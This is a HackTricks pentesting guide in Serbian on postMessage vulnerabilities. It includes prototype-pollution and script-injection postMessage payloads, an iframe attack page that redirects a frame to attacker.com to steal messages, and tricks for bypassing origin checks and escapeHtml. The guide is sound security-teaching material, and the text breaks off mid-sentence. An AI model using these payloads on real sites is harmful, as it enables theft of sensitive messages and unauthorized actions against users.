hacktricks/pentesting-web/postmessage-vulnerabilities
2024-02-10 13:11:20 +00:00
..
blocking-main-page-to-steal-postmessage.md Translated to Serbian 2024-02-10 13:11:20 +00:00
bypassing-sop-with-iframes-1.md Translated to Serbian 2024-02-10 13:11:20 +00:00
bypassing-sop-with-iframes-2.md Translated to Serbian 2024-02-10 13:11:20 +00:00
README.md Translated to Serbian 2024-02-10 13:11:20 +00:00
steal-postmessage-modifying-iframe-location.md Translated to Serbian 2024-02-10 13:11:20 +00:00

PostMessage ranjivosti

PostMessage ranjivosti

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Pošalji PostMessage

PostMessage koristi sledeću funkciju za slanje poruke:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Napomena da targetOrigin može biti '*' ili URL kao što je https://company.com.
U drugom scenariju, poruka se može poslati samo na tu domenu (čak i ako je poreklo objekta prozora drugačije).
Ako se koristi zvezdica, poruke mogu biti poslate na bilo koju domenu, i biće poslate na poreklo objekta prozora.

Napad na iframe i zvezdicu u targetOrigin

Kao što je objašnjeno u ovom izveštaju, ako pronađete stranicu koja može biti iframed (bez zaštite X-Frame-Header) i koja šalje osetljive poruke putem postMessage koristeći zvezdicu (*), možete izmeniti poreklo iframe-a i procuriti osetljivu poruku na domen koji kontrolišete.
Napomena da ako se stranica može iframovati, ali je targetOrigin postavljen na URL, a ne na zvezdicu, ovaj trik neće funkcionisati.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

Iskorišćavanje funkcije addEventListener

addEventListener je funkcija koju JS koristi za deklarisanje funkcije koja očekuje postMessages.
Koristiće se sličan kod kao što je prikazan ispod:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

U ovom slučaju, prva stvar koju kod radi je provera porekla. Ovo je izuzetno važno, posebno ako stranica treba da izvrši nešto osetljivo sa primljenim informacijama (kao što je promena lozinke). Ako ne proverava poreklo, napadači mogu naterati žrtve da šalju proizvoljne podatke na ove endpointe i promeniti lozinke žrtava (u ovom primeru).

Enumeracija

Da biste pronašli slušače događaja na trenutnoj stranici, možete:

  • Pretražite JS kod za window.addEventListener i $(window).on (JQuery verzija)
  • Izvršite u konzoli alata za razvoj: getEventListeners(window)

  • Idite na Elements --> Event Listeners u alatima za razvoj pregledača

Bypass provere porekla

  • Atribut event.isTrusted se smatra sigurnim jer vraća True samo za događaje koji su generisani od strane stvarnih korisničkih akcija. Iako je izazovno zaobići ga ako je pravilno implementiran, njegov značaj u sigurnosnim proverama je primetan.

  • Upotreba indexOf() za proveru porekla u PostMessage događajima može biti podložna zaobilaženju. Primer koji ilustruje ovu ranjivost je:

("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • Metoda search() iz String.prototype.search() je namenjena za regularne izraze, a ne za stringove. Prosleđivanje bilo čega osim regularnog izraza dovodi do implicitne konverzije u regex, čime se metoda potencijalno čini nesigurnom. To je zato što u regex-u tačka (.) deluje kao džoker, omogućavajući zaobilaženje provere sa posebno oblikovanim domenima. Na primer:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • Funkcija match(), slično kao search(), obrađuje regex. Ako je regex nepravilno struktuiran, može biti podložan zaobilaženju.

  • Funkcija escapeHtml je namenjena za sanitizaciju unosa putem izbegavanja karaktera. Međutim, ona ne stvara novi objekat sa izbegnutim karakterima, već prebrisuje postojeće osobine objekta. Ovo ponašanje može biti iskorišćeno. Konkretno, ako se objekat može manipulisati tako da njegova kontrolisana osobina ne priznaje hasOwnProperty, escapeHtml neće raditi kako se očekuje. Ovo je prikazano u sledećim primerima:

  • Očekivani neuspeh:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • Zaobilaženje izbegavanja:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

U kontekstu ove ranjivosti, objekat File je posebno podložan iskorišćavanju zbog svoje samo-čitajuće osobine name. Ova osobina, kada se koristi u šablonima, nije sanitizovana funkcijom escapeHtml, što može dovesti do potencijalnih sigurnosnih rizika.

  • Svojstvo document.domain u JavaScript-u može biti postavljeno od strane skripte kako bi se skratila domena, što omogućava opušteniju primenu politike istog porekla unutar iste nadređene domene.

Bypass e.origin == window.origin

Prilikom ugrađivanja veb stranice unutar sandbox iframe-a koristeći %%%